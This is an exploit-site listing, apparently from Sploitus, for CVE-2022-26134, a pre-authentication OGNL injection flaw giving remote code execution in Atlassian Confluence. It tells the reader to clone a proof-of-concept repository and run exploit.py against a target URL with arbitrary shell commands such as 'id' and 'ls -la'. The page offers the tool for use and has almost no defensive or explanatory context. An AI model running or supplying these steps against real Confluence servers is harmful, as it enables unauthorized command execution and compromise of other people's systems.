Exploit for Expression Language Injection in Atlassian Confluence Data Center CVE-2022-26134

Name: Exploit for Expression Language Injection in Atlassian Confluence Data Center CVE-2022-26134
Rating: 5 (168 reviews)

2024-05-02 | CVSS 9.8

## https://sploitus.com/exploit?id=7B61818F-49E5-5BAE-A937-2DED4CAE1570
# CVE-2022-26134
CVE-2022-26134 - Confluence Pre-Auth RCE | OGNL injection

- Download PoC script

```
git clone https://github.com/crowsec-edtech/CVE-2022-26134
cd CVE-2022-26134
```

- Run exploit

```
USE: python3 exploit.py https://target.com CMD
Ex: python3 exploit.py https://target.com id
Ex: python3 exploit.py https://target.com 'ls -la'

```